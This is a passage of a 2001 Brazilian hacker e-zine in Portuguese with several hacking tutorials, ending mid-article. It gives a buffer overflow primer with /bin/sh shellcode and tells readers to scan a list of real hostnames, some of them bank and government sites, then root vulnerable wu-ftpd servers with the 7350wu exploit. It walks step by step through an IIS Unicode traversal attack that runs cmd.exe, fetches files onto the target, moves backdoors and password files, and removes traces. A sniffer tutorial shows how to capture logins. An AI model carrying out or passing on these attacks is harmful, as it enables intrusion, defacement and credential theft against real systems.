o..................................................................o
.ZZZZZZZZZZ  ..  NNNn    nNN EEEEEEE   sSSSSSS  bb        rrrrrrrr .
.ZzZ   ZZ      NN NN    NN EEeeeee  sSSS  sSs bb         rr   rr .
.Zz   ZZ     ii  NN  NN   NN EE       sSS       bbB        rrrrrrr .
.    ZZ      ii  NN   NN  NN EEeE       sSS     bbbbbbbbb  rrrr    .
.   ZZ   zZ  ii  NN    NN NN EE           sSS   bb   Bbbb  rr rr   .
.  ZZ   ZzZ  ii  NN     NNNN EEeeeee SSs  sSSS  bbB   bbb  rr  rr  .
.ZZZZZZZZZz iiii NNn     nNN EEEEEEE  sSSSSSs   bbbbbbbbb rrr   rr .
o..................................................................o
                                                          

.:x| Revista Virtual ZiNESbr   |x:.
.:x| Edicao 05                 |x:.
.:x| Data: 18/03/2001          |x:.
.:x| #ZiNESbR - Rede BrasNET   |x:. //CANAL AGORA EST NA BRASNET
.:x| http://zinesbr.hpg.com.br |x:.
.:x| zinesbr@ieg.com.br        |x:.

x Melhor visualizado no WordPad do Windows ou no VI do Linux  x
x Todo conteudo deste ZiNE sao para fins educativos           x
x Nao nos responsabilizamos por usos indevidos                x   
                                 _________   ___  
                                |         | |   | 
                                | ZiNESbr |.|hpG| 
                                | @#!?.* | |===| 
                                |_________| |___| 
                                     ||           
                                .----------.  _/  
                                |__________| (_)  
                          ..........................
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''
      [SETORES]#                                [AUTORES]$    
   
<<[00][ Introducao	                       ][   Gotoxy    ][00]>>  
<<[01][ Emulador de Hacking                    ][   Gotoxy    ][01]>>
<<[02][ Buffer Overflow                        ][   Gotoxy    ][02]>>
<<[03][ Inseguranca no Wu-Ftpd                 ][   Gotoxy    ][03]>>
<<[04][ Ftp Send                               ][   BackZ     ][04]>>
<<[05][ Xeretando uma Rede                     ][   Gotoxy    ][05]>>
<<[06][ Cursinho de Linux - Parte 5            ][   Gotoxy    ][06]>>
<<[07][ Bind - A Facanha                       ][   Gotoxy    ][07]>>
<<[08][ Praticando uma anarquia                ][   ramati    ][08]>>
<<[09][ Ponteiros em C                         ][   Gotoxy    ][09]>>  
<<[10][ Criando um servidor ppp no Linux       ][    F-22     ][10]>>
<<[11][ Sistema de Arquivos                    ][    f0ul     ][11]>>
<<[12][ DoS in InetD                           ][   ramati    ][12]>> 
<<[13][ Linux the otherside                    ][    sort     ][13]>>
<<[14][ Sniffing e DoS                         ][  |wizard|   ][14]>>
<<[15][ Protocolo Tcp/Ip                       ][  |wizard|   ][15]>>
<<[16][ Ultimas palavras                       ][   Gotoxy    ][16]>>
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''



SETOR [00]
==[ Introducao ]==
==[ por Gotoxy ]==

  Finalmente saiu a edicao 05 do ZinesBR!:) Gostaram da edicao 04?
Bom, espero que sim..:) E espero tambem que gostem dessa edicao!:)
O nivel do zine continua crescendo..(eu acho) e poucas pessoas estao
me ajudando. Queria agradecer a todos voces que me ajudam e que ainda
vao me ajudar!:) Nessa edicao voce encontra um emulador de hacking
que eu fiz em pascal..ficou legal ele. Saiba mais no setor [01]!
Eu achei essa edicao muito sem assunto e aviso: na proxima edicao,
no caso a edicao 06, protendo (isso nao eh uma promessa) fazer textos
melhores e portanto aguardo por suas colaboracoes! Tudo eh bem vindo!
  Se algum de voces discordam da liberdade de informacao,tudo bem..
soh espero que um dia mude de ideia! Soh queria deixar claro que sem
a liberdade de informacao, voce nunca vai se evoluir, em termos de
experiencia na area do hacking, pois tem muita coisa que alguns sabem 
e voce nao sabe!! Ninguem aprende as coisas (nao todas as coisas) sem
a ajuda dos outros.. se voce pensa diferente, entao siga o seu caminho 
e seja,ou pelo menos tente ser,o "melhor"! Se uma pessoa chega para vc
e te faz uma pergunta, responda (caso vc saiba o q ele deseja saber)!! 
Nao xingue, nao humilhe, nao zoe da pessoa (independetemente da pergunta).  
Temos quer ser humildes com todos...afinal, somos todos uma familia de
fucadores e portanto temos que ajudar uns aos outros. 
  Lembre-se de sempre levar o hacking a serio. Ando vendo muitas paginas
sendo "hackeadas",..pessoas se julgando hackers por ter feito certos atos,
pessoas passando dias e noite atras de servers(nt's) bugados... isso nao
eh hacking!! Estou tentando fazer voces enxergarem a realidade.Se voces
(jovens que andam fora da realidade... q nao seguem a etica) continuarem
com essas atitudes, saibam que nunca vao chegar a lugar algum! Eu nao
tenho nada com quem pratica esses atos, soh nao gosto dos atos praticados
pelos mesmos. E eh isso aih irmaos! Nao se sintam ofedindos e nem se
revoltem contra mim..:) O que falei eh apenas para abrir seus olhos 8-)

E Reelembrando:
   Se voce, caro leitor, tem algo interessante sobre o hacking e deseja 
publicar, nao perca tempo!! Envie para nos junto com seu nome e seu email.
 
E eh isso..:) Boa leitura.
  

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| ------------------------------------------------------------------- |x:.
  









SETOR [01]
==[ Emulador de Hacking ]==
==[ por Gotoxy          ]==

   Comecei a aprender a linguagem Pascal a pouco tempo, e para ver
se eu estava realmente entendendo a "materia", resolvi fazer um simples
programinha, escrito em pascal, apenas para um divertimento pessoal..:)
E esse programinha, que por sua vez ficou conhecido como ZinesbrEmulation,
era um emulador de linux, que tinha como objetivo ser ownado (rootado) 
pelo usuario que o utilizase-o. 

Observacao: Eu nao ia publicar o Z.E. (ZinesbrEmulation), mas como um
amigo meu usou ele e gostou muito, eu resolvi passar ele para frente.

A versao atual dele eh a 1.0 e eu pretendo lancar novas versoes e novos 
desafios para se obter root. Ele pode ser legal para alguns, inuteis 
para outros.. O emulador vem anexo junto ao zinesbr (/progs/ze/)!!!

----------------------------
CUIDADOS QUE VOCE DEVE TOMAR
----------------------------

Nao peque o emulador em outros sites, apenas pegue-o no nosso site
(zinesbr.hpg.com.br) - Porque isso? Porque outros sites podem estar
publicando trojans ou virus e dizendo que eh uma nova versao do z.e.
Por este motivo recomendo pegar o z.e. apenas no nosso website!:)    

---------------------------------
O Z.E VAI PREJUDICAR MEU SISTEMA?
---------------------------------

Nao. Ele nao vai afetar nenhum dado do seu querido sistema. Tudo
que ele faz eh uma emulacao. Nao se preocupe, pois ele NAO eh
nenhum tipo de virus, backdoor, trojan, ou qualquer outro tipo de
coisa que venha a prejudicar seu sistema. Pode confiar na minha
palavra!! :)


---------------------
COMO UTILIZAR O Z.E ?
---------------------

Nao tem misterio. Basta apenas roda-lo e entrar com o login (que eu
me recuso a responder o login, pois ele eh muito obvio!). 

Os comandos sao os mesmos utilizados em *NIX, porem, eu nao coloquei
todos. Se voce nao conhece os comandos usados nos unixes, recomendo
estuda-los ! 

O objetivo do Z.E. eh ser ownado pelo cliente (a pessoa que estiver
executando o emulado). Voce deve pegar root!! Existe tres metodos
para isso... eh muito facil! Quando voce conseguir rootar pelos
tres metodos, voce sera o campeao! duh... :)

Executando:
# cd /progs/ze
# ./Ze

------------------------------
COMO AJUDAR NO PROJETO DO Z.E?
------------------------------

Se voce quiser, pode ajudar no projeto do emulador Z.E. Bastando
enviar email para nos, ou entao, entrando no #zinesbr - rede brasnet
 - e mandando sugestoe, criticas, etc.. Ajude como quiser!:)

Caso voce encontre erros no emulador, por favor, nos avise! Que na
proxima versao do z.e, o bug estara corrigido!:) Como todo programa nao 
eh 100% livre a falhas,o Z.E. nao podia deixar de seguir essa regra!

Com as suas ajudas, poderemos fazer um belo emulador de linux e daki
a um tempo o Z.E. jah podera ser tornar um Linux de verdade!:) Sendo 
assim, qualquer ajuda vinda de voces eh bem vinda..

--------------------------------
PALAVRAS FINAIS SOBRE O EMULADOR
--------------------------------

E eh isso aih pessoal!! Espero que gostem e que ajudem o nosso pequeno
emulador de unix crescer! Desde jah agradeco !! Ah! Nas proximas versoes
do nosso emulador, tera novos desafios ! Portanto, aguarde!:)

Ah!! Para mais informacoes, leia o arquivo Leiame.txt que se encontra
no mesmo diretorio do emulador.

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [02]
==[ Buffer Overflow ]==
==[ por Gotoxy      ]==

t0pics:
1 - Introducao
2 - BufferOverflow
3 - Exploits
4 - Shellcode
5 - Links 
6 - Eof

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[1]- ::::::::::::::::::::::::::: Introducao :::::::::::::::::::::::::::::

  Por incrivel que pareca, muitos newbies fucadores ainda nao sabem o que
eh BufferOverflow, ou melhor, sabem o que eh, porem nao tem um conhecimento
mais aprofundado sobre o mesmo.
  Por este e outros motivos, vou falar um pouco sobre essa famosa tecnica
de invasao utilizada por muitos fucadores.  

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[2]- ::::::::::::::::::::::::: Buffer Overflow ::::::::::::::::::::::::::

BufferOverflow consiste em sobrescrever partes da memoria que supostamente
'tal' programa nao deveria acessar, fazendo com que o codigo sobrescrito 
possa executar um comando arbitrariamente. Exemplo:

// Programa vulneravel a BufferOverflow
// exemplo.c

#include <stdio.h>
#include <stdlib.h>
#define ERROR -1

main(int argc, char *argv[]){
char nome[20];
if (argc < 2){
printf("Sintaxe: %s <seu_nome>\n",argv[0]);
return(ERROR);
}
strcpy(nome,argv[1]);
printf("Seu nome eh %s!\n",nome);
return 0;
}
----------------------------------------------

- A simulacao segue abaixo:

# gcc -o exemplo exemplo.c
# ./exemplo
Sintaxe: /root/exemplo <seu_nome>
# ./exemplo gotoxy
Seu nome eh gotoxy
# ./exemplo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation Fault
# 

O que  esse Segmentation Fault ??? O programa exemplo.c reserva na
variavel 'nome' 20 bytes e quando digitamos uma valor maior do que 20 
bytes,ocorre o chamado Buffer Overflow e quando isso ocorre,na maioria 
das vezes voce recebe um Segmentation Fault - Falha de Segmentacao.
Quando voce receber um Segmentation Fault pode desconfiar, pois na
maioria das vezes quando isso ocorre, o programa executado poderah ser
vulneravel a um buffer overflow. Resumindo: Ocorre um buffer overflow 
quando colocamos mais dados do que um programa pode suportar. 


::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[3] - ::::::::::::::::::::::::::::: Exploits ::::::::::::::::::::::::::::

  Os exploits sao os programas escritos para tirar proveito dos programas
vulneraveis a bufferoverflows. Na maioria das vezes, eles sao escritos
na linguagem C. Mas  bom ressaltar que tambem existe exploits escritos
em Perl, Assembly, etc... Existem varios exploits, tanto locais quanto
remotos. Exploits locais eh quando voce tem uma shell no sistema alvo e
explora algum programa suid root. Exploits remotos, como o proprio nome
diz, explora um programa remotamente, ou seja, explora por exemplo um 
daemon (ftp, ssh, etc) e assim ganha-se acesso shell. 

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[4] - ::::::::::::::::::::::::::::: Shellcode :::::::::::::::::::::::::::
 
  Shellcode eh o codigo que se executa via exploits. Vamos a um exemplo
de uma shellcode bem simples:

char shellcode[]=
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Como propriamente dito, o codigo que geralmente usamos, eh chamado de 
shellcode, pois executamos ele como se fosse uma linha de comando.Essa
linha de comando vem escrita com instrucoes em assembler...

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[5] - ::::::::::::::::::::::::::::::: Links :::::::::::::::::::::::::::::

* Links:
http://unsekurity.virtualave.net -> Leia o tutorial sobre Shellcode Parte I,
                                    Parte II e o texto sobre Buffer Overflow.

http://www.phrack.com/ -> Procure P49-14.

http://www.bufferoverflow.org/ -> Procure o tool sc.tgz.

http://packetstorm.securify.com/ -> Procure por shellcode SDI.
				         Procure por adv.buffer.overflow.txt.

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
[5] - :::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::  

  Esse texto eh bem simples. Somente para dar um ajudinha aos nossos
amigos que nao sabem dessa tecnica.Pretendo fazer um melhor num futuro 
proximo. Se quiser se aprofundar no assunto, procure por qualquer exploit 
na Packetstorm e estude-os, analizando seu codigo fonte, fazendo clones
do exploit(sem olhar), analizado, etc...
  
Fim.
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| ------------------------------------------------------------------- |x:.










SETOR [03]
==[ Inseguranca no Wu-ftpd ]==
==[ por Gotoxy             ]==


   O wu-ftpd esta vulneravel em todas as versos (da versao 2.6.0 para 
baixo). A ultima versao eh a 2.6.1 e ateh o momento nao foi divulgado
nenhum exploit para o mesmo. Se quiser um exploit para explora-lo, nao
espere ninguem faze-lo e sim descubra um "erro" no source do wu-ftpd e
faca um! 
   Muitas redes, servidores, ... costumam usar o wu-ftpd como sendo o
servidor de ftp do sistema deles. Muitas maquinas que voce encontra por
aih na internet ainda utilizam versoes 2.6.0 ou inferiores; Esses sao os
administradores preguicosos q nao ligam para a seguranca do seu proprio
sistema; Para voce ser um bom administrador, deve estar sempre atualizando
seus programas,assinando mail-list boas (tais como a Bugtraq,etc),..basta 
nao ter preguica!!
   Anexado junto ao zine, voce encontra um programa responsavel por 
explorar todas as versoes <= 2.6.0; o nome do programa eh 7350wu-v5.tar
Tambem vem anexado um prog. q ficarah responsavel por scanear uma hostlist
em busca de servidores bugados. Ele esta escrito em perl e o seu nome eh
wuscan.pl cujo autor eh o Cheat Struck.
   Os dois programas se encontram no diretorio /progs do zine05!

----------------------
Executando o wuscan.pl
----------------------

   Para executa-lo eh muito simples. Basta voce ter o programa Perl 
instalado em seu sistema; Voce tambem precisa de uma hostlist. Uma
hostlist eh um arquivo comum, que em seu conteudo tem um conjunto
de hosts. Os hosts que estiverem na hostlist serao verificados e
caso algum host esteja com o wu-ftpd vulneravel, basta voce usar o
programa 7350wu para pegar rootao na makina!:)

Um exemplo de uma hostlist (Emulacao) :

[root@darkstar /root]# cat > hostlist
www.cade.com.br
www.rootshell.com
www.icj.g12.br
www.polimig.com.br
www.cefet.com.br
www.carrier.com.br
www.bb.com
www.hacker.com.br
www.governo.gov.br
www.cefet.com.br
www.ufmg.com.br

[Ctrl+D]

[root@darkstar /root]# ./wuscan.pl 
Wu-Ftpd Bugs Scanner
by Cheat Struck (cheat@struck.8m.com)

Usage: wuscan.pl <ip_list>

[root@darkstar /root]# ./wuscan.pl hostlist
...

Pronto! Os hosts serao verificados, caso o programa wuscan.pl encontra
um host vulneravel, ele avisa e depois disso eh soh exploitar o servidor
que se enconta inseguro! Voce saberah como explorar isso no item abaixo.

---------------
Usando o 7350wu
---------------

Para descompacta-lo, digite o seguinte comando:

bash-# tar -zxvf 7350wu-v5.tar.gz
bash-# 

Entre no diretorio criado e depois compile-o:

bash-# cd 7350wu
bash-# make
bash-#

Apos isso, basta executar o programa dessa maneira:

bash-# ./7350wu
bash-#

Por exemplo, suponhamos que voce queira invadir o hostname
alvo.org (rodando Linux), e que voce tenha uma conta valida
no sistema, o comando era esse abaixo:

bash-# ./7350wu -t 1 -h alvo.org -u login -p senha

Onde:
'-t 1' indica que o hostname alvo roda linux
'senha' e 'login' sejam validos no sistema
'alvo.org' eh a makina vitima.

Se ocorrer tudo bem, parabens! Caso contrario, o hostname nao
esta vulneravel ou entao o login/pass sao invalidos, ou seja,
senta e chora!:)

----------------------------
Checando a versao do wu-ftpd
----------------------------

Eu fiz um pequeno programa que checa se a versao do wu-ftpd do host 
alvo eh a 2.6.0. Mas porque 2.6.0? Porque raramente voce encontra
versoes inferiores a essa... E caso voce encontre um host vulneravel,
basta seguir os passos citados acima voce conseguir rootar a makina. 

O programa segue na pasta /progs/wu-ftpd, cujo nome eh wu-version.c.
Para usar nao tem segredo! Abaixo segue uma simulacao de como usar:

bash-# gcc -o wu-version wu-version.c
bash-# ./wu-version

Checador de wu-ftpd v2.6.0 by Gotoxy (gotoxy@linuxbr.com.br)
Uso: ./wu-version host

bash-# ./wu-version www.servidor-alvo.com.br

Host rodando wuftpd2.6.0!!

bash-#

Viu como eh muito facil?! Caso o servidor nao esteja rodando o
wu-ftpd versao 2.6.0 ele avisarah! Caso apareca exemplo problemas 
na conexao com o servidor, certifique-se que a porta 21(ftp) do
host esteja aberta. Para verificar outras versoes, basta mudar
o codigo fonte (mais facil que roubar picole de crianca:)).

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| ------------------------------------------------------------------- |x:.










SETOR [04]
==[ FTP Send   ]==
==[ por Backz  ]==

E aez! Esta eh a primeira vez que eu escrevo pro Zinesbr. Antes de tudo
gostaria de agradecer ao Gotoxy o espao aqui na zine (valeu irmao!!).

* Como de costume: "FUCK ELITE"

E relembrando:
"EU RESPONSABILIZO MINHA PRIMINHA CHATA PELOS ATOS COMETIDOS POR VC!!"
Boa Leitura!! :)

------------------------------------------------------
Requerimentos:

Conhecimentos bsicos em UNICODE ou qualquer outro bug
Um FTP Server
Tico e Teco

------------------------------------------------------  

Ha um mtodo simples de transderncia de arkivos pelo NT.Aki usarei a tcnica 
do UNICODE, mas voce pode usar apartir de qualquer bug que use o CMD.EXE.


1- Criando o primeiro arquivo
-----------------------------

Todos os arquivos aqui vc ter que escrever manualmente! isto eh,por "echo" do
cmd ou qualquer coisa que permita a escrita de arquivos.

- Algums comandos do CMD

 echo - escreve arquivos
 type - vizualiza arquivos


1.1- Verificando diretrio local
--------------------------------

Vc precisar saber o diretorio local,tipo,no caso do unicode eh scripts. Ento
ftp.bat e comandos.txt tero que ser colocados la. Se vc quizer puxar algo para 
um determinada pasta edit o 'comandos.txt' ou coloque 'ftp.bat' e 'comandos.txt'
para o diretorio desejado.


1.2- FTP Server
---------------

Voce tambem precisar ter um servidor de ftp ativo, pode ser local ou 
remoto, desde que vc tenha a senha dele. La voce vai colocar os arquivos 
que quizer transmitir pro servidor NT.

* DICA: Pegue o Alex FTP Server em: www.superdownloads.com.br


1.3- Copiando o CMD
-------------------

O IIS filtra alguns comandos do CMD, para isso copie para algum 
diretrio desejado. Vamos copia-lo para c:\ e chama-lo de CMD2.exe

Copiando:
http://alvo.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\
system32\cmd.exe c:\cmd2.exe

E agora acesse:
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+dir
 


1.3- Enviando via Echo (Unicode)
--------------------------------

No echo, vc escreve linha por linha, iso eh, cada linha de uma vez.
A primeira usa-se ">" e as outras usam-se  ">>" que eh equivalente a "\n"


1.3.1- Escrevendo comandos.txt
------------------------------

O arquivo eh o seguinte:
 
open IP DO SERVER                           - num precisa dizer
anonymous                                   - login do FTP
qualquermerda@duh                           - eh a senha doFTP
quote user anonymous                        - redigite o login
quote pass qualquermerda@hahaha             - redigite a senha 
get index.htm c:\inetpub\wwwroot\index.htm  - file q vai ser tranferido
bye                                         - comando p/ desconectar

Aqui esto os comandos do ftp.exe, agora edite com o IP do server, 
login e senha e o nome do arquivo que voce quer transferir.


open IP DO SERVER
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo open IP DO SERVER > 
comandos.txt


Foi-se a primeira linha, agora vai a segunda, p/ isso usa-se ">>"

Login do FTP Server
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo anonymous >> 
comandos.txt

Senha do FTP Server
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo qualquermerda@net >> 
comandos.txt

Redigite seu Login
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo quote user anonymous
>> comandos.txt

Redigite sua Senha
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo quote pass qqmerda@net
>> comandos.txt

Transfira o File
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo get index.htm c:\inetpub\
wwwroot\index.htm>> comandos.txt 

Bye
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo bye >> comandos.txt


Agora verifique se tudo deu certo com o comando TYPE  
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+type+comandos.txt
dever aparecer:

CGI Error
The specified CGI application misbehaved by not returning a complete set 
of HTTP headers. 
The headers it did return are:

open IP DO SERVER
anonymous
qualquermerda@hahaha
quote user anonymous
quote pass silvio@sol.com.br
get index.htm c:\inetpub\wwwroot\index.htm
bye  

OBS: A mensagem de CGI no afeta.
Okz, se tudo estiver okz, vc jah pode escrever o ftp2.bat



2- Criando o FTP2.bat
---------------------

Aqui vc ir criar uma linha de comando p/ iniciar a transferncia dos arkivos
OBs: 'FTP2.bat' tem que estar no mesmo diretorio que o 'comandos.txt'

O comando eh:
ftp -s:comandos.txt

http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+echo ftp -s:comandos.txt
>>+ftp2.bat


3- Pronto!
----------

Pronto! agora rode o ftp2.bat
http://seualvo.com/scripts/..%c0%af../cmd2.exe?/c+FTP2.bat
ou
http://seualvo.com/scripts/..%c0%af../FTP2.bat

Agora verifique se o arquivo desejado esta no dir. Esta tcnica substitui o TFTP
pq no deixa Log's no dir. Depois que a tranferncia de arquivos foi realizada, 
apague o comandos.txt e o FTP2.bat do server pois sabero de que IP os arquivos
foro transmitidos. Se voce for passar arquivos binrios, use o comando bin.
Ahh..com isso vc pode mandar e enviar arquivos, backdoors, "Arkivos de Senhas" 
e talz.. Portando, antes de mais nada fusse!!

                                               BackZ
                                               backzyoverflow@bol.com.br
.:x| ------------------------------------------------------------------- |x:.










SETOR [05]
==[ Xeretando uma rede ]==
==[ por Gotoxy         ]==

   Xeretar uma rede.. q isso? Xeretar significa espionar; e o que vem a sua
cabeca quando falamos de xeretar??? Isso mesmo! Sniffar! Antes de comecar a 
pratica, deixa eu falar um pouco mais sobre os sniffers... os sniffers sao
programas que tem como objetivo capturar informacoes que trafegam pela rede 
(como por exemplo logins, passwords, etc). O que os sniffers mais atuais
estao fazendo eh sniffar a interface eth0 e assim salvando coisas importantes, 
tais como os passwds dos usuarios. Se voce ainda tem duvida sobre o mesmo,
recomento a voce correr atras de textos que podem ser encontrados na internet 
a fora... existem muitos falando sobre sniffers.

Agora vamos praticar um pouco... vamos utilizar um sniffer feito pelo
nosso irmao Nash Leon, cujo nome eh Oculto. Ele vem anexado junto ao zine
na pasta /progs/sniff. 

--------------------
INSTALANDO O SNIFFER 
--------------------

Primeiro, descompacte o oculto; em seguida, compile-o:

# tar -zxvf oculto-v0.2.tar.gz
# gcc -o oculto oculto.c   
# ./oculto
Oculto Sniffer v0.1 by Nash Leon.

Uso: ./oculto <interface> <porta> <arq_log>
    
Onde:

<interface> eh a interface a ser sniffada (ppp,lo...)

<porta> eh a porta a ser sniffada (23,80,21,110,...)

<arq_log> eh o arkivo de log; eh nesse arkivo que os dados serao salvos

--------------------
PRATICANDO O SNIFFER
--------------------

Nao tem misterio!! Vejamos um exemplo abaixo:

# ./oculto lo 23 logs.txt &

Isso farah que o sniffer "vigie" a porta 23 da maquina. E os dados
recebidos (logins,password,etc...) serao salvos no arquivo logs.txt.

Para visualizar os logs, basta editar o logs.txt (vi logs.txt). 
Para acrescentar mais interfaces, basta editar o codigo fonte do 
oculto.c e fazer as mudancas (brincadeira de crianca isso nao eh 
mesmo?!).

---------------
PALAVRAS FINAIS
---------------

Espero que tenha entendido o funcionamento do um sniffer.Pois nao 
eh nenhum bixo de sete cabecas.. Existe muitos sniffers espalhados
pela net, cada um com suas vantagens e desvantages. Citei o sniffer
que o NashLeon fez pois eh mais simples para se usar. Entao eh isso
irmaos..estudem! :)

Ah! Para mais informacoes, consulte o setor [14]!!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [06]
==[ Cursinho de Linux - Parte 5 ]==
==[ por Gotoxy                  ]==


t0pics:
1 - Introducao
2 - Adicionando/Removendo usuarios
3 - Removendo o Lilo
4 - Programa: Wget
5 - Fim

1 - Introducao
O curso esta sendo muito util para usuarios iniciantes no sistema
Linux, porem, eh bom ressaltar que o curso nao eh util para usuarios
mais avancados. Portanto, eleets caiam fora!:)

2 - Adicionando/Removendo usuarios
Adicionar uma nova conta no seu sistema eh muito simples. Um dos
metodos mais faceis, eh atraves do linuxconf. Para entrar nele
basta digitar na shell

# linuxconf

e p/ adicionar um usuario,nao tem misterio! Akilo eh auto-explicativo.

Porem, eu prefiro outro metodo para se adicionar uma nova conta.E esse
metodo eh atraves de comandos. Basta digitar o comando abaixo:

# adduser 

Apos digitar o comando acima, serao feitas um monte de perguntas 
relacionado a conta do novo usuario (login,data de expiracao da conta,
senha, tipo de shell, etc..). 

Uma simulacao segue abaixo:

# adduser
Login name for new user []: gotoxy [ENTER]
User id for gotoxy [ defaults to next available]: [ENTER]
Initial group for gotoxy [users]: [ENTER]
Additional groups for gotoxy(seperated with commas,no spaces)[]: [ENTER]
gotoxy's home directory [/home/gotoxy]: [ENTER]
gotoxy's shell [/bin/bash]: [ENTER]
gotoxy's account expiry date (YYYY-MM-DD) []: [ENTER]

OK, I'm about to make a new account. Here's what you entered so far:

New login name: gotoxy
New UID: [Next available]
Initial group: users
Additional groups: [none]
Home directory: /home/gotoxy
Shell: /bin/bash
Expiry date: [no expiration]

This is it... if you want to bail out, hit Control-C.  Otherwise, 
press ENTER to go ahead and make the account. [ENTER]

Making new account...

Changing the user information for gotoxy
Enter the new value, or press return for the default
        Full Name []: Gotoxy [ENTER]
        Room Number []:      [ENTER]
        Work Phone []:       [ENTER]
        Home Phone []:       [ENTER]
        Other []:            [ENTER]

Changing password for gotoxy
Enter the new password (minimum of 5, maximum of 127 characters)
Please use a combination of upper and lower case letters and numbers.
New password: senha [ENTER]
Re-enter new password: senha [ENTER]
Password changed.
Done...

Viram como eh muito simples?! Esse tipo de adicionar usuarios eh
default, pois eu deixei do jeito que o sistema perguntava e fui
soh apertando [ENtER] ..:)


* Removendo usuarios
Para remover uma conta eh mais simples ainda!! Basta digitar o
comando userdel <usuario>. Por exemplo:

# userdel -r gotoxy 

Pronto!! Usuario gotoxy deletado. A opcao "-r", signifa que a
pasta do usuario gotoxy (/home/gotoxy) tb sera excluida. Caso
nao queira deleta-la, basta nao colocar a opcao "-r" :).


3 - Removendo o LILO
O lilo, como todos nos sabemos, eh o gerenciado de boot do linux.
Ele eh util para quando temos mais de 1 sistema operacional instalado
no HD (Hard Disk). Quando desinstalamos o Linux, ele (o lilo) nao sai
automaticamente, portanto, devemos exclui-lo!! Para isso, basta entrar
no prompt do ms-dos e digitar o comando abaixo:

C:\> fdisk /mbr

Com isso, o lilo sera desinstalado.

4 - Programa: Wget

- Download

Conhecem o Getright? Isso! Aquele mesmo que serve para continuar os
downloads perdidos..lembra? Pois eh.. ele tambem existe para linux,
cujo nome eh Wget. Ele jah vem instalado na maioria das distribuicoes,
porem caso voce digitar "wget" na shell e aparecer "command not found"
entao eu recomendo instala-lo a partir do cdrom da distribuicao ou
entao baixa-lo pela net.

- Usando o Wget
Nao tem misterio... basta digitar:

# wget http://endereco_do_arkivo.com.br

Aih, suponhamos que seu irmao apertou 'Power' quando faltava apenas
1% para acabar o download... voce bate nele e depois liga o computador
e digita o comando abaixo para continuar o download:

# wget -c http://endereco_do_arkivo.com.br

Facil, nao?!
  
5 - Fim
Bem, espero que tenha aprendido um pouco mais sobre sistemas unixes...
Agora, nos cursinhos seguintes, vou colocar sempre como usar um util
programa. Eu acho o wget super util, portanto citei ele nesse quinta
parte do Cursinho de Linux.

Abracos.
                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.









SETOR [07]
==[ Bind - A Facanha ]==
==[ por Gotoxy       ]==

   Na edicao 04 do Zines.Br, eu falei sobre a falha encontrada no
named versoes 8.2.x e ateh divulguei um exploit. E agora eu vou
falar um pouco desse exploit, que por sua vez, foi feito por um
kra do axur (axur.org), cujo o nome do autor prefiro nao citar.

Como todos nos newbies fucadores sabemos, nao devemos usar exploits
de terceiros sem antes saber o funcionamento do mesmo. Pois devemos
analisar o seu codigo, para assim nao haver problemas. 

Eu utilizei esse exploit (o exploit do bind publicado na edicao
anterior do zinesbr) para testa-lo e ver se realmente funciona e,
funciou!! Porem, nem conferi o codigo,e sendo assim,cometi um grave
erro! Peco desculpas a todos voces. "Mas porque voce esta pedindo
desculpas???" - Eu explico...

Apos alguns dias depois da quarta edicao do zinesbr ser lancada,
fiquei sabendo atraves da mail-list do unsekurity, que esse exploit
fazia uma certa "esperteza". O exploit carregava em seu codigo fonte
encryptado uma acao muito... digamos assim... gananciosa!! Porque?
Porque quando voce utilizava o exploit em uma determinada rede bugada
e obtia exito na exploitacao, as informacoes da rede invadida era
enviado para o(s) servidor(es) da axur! "Mas porque gananciosos???" -
Porque a axur sabendo as informacoes da rede invadida, ela (a axur)
entrava em contato com a rede ownada e ... jah sabem neh?! Pois como
muitos sabem, a axur.org eh uma empresa de seguranca e que faz servicos
para seguranca de redes, ...

Soh falei sobre isso para abrir seus olhos!! E que nao devemos usar
exploits de terceiros sem antes uma analise sobre o mesmo. Bom,
deixo a minha alerta.

Abracos.  
                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [08]
==[ Praticando uma anarquia ]==
==[ por ramati              ]==

AtENCAO
este texto nao 'e recomendavel para menos de idade lerem! portanto,
caso voce ainda eh menino, pule essa parte! gotoxy nao leia! :)
respeite a ordem do autor..nao leia criancas!! =)
       
fala feras!:) aqui 'e o irmao do Gotoxy (porra).. pedi ele para
escrever uma materia sobre anarquia.... so que ele nem tava afim de
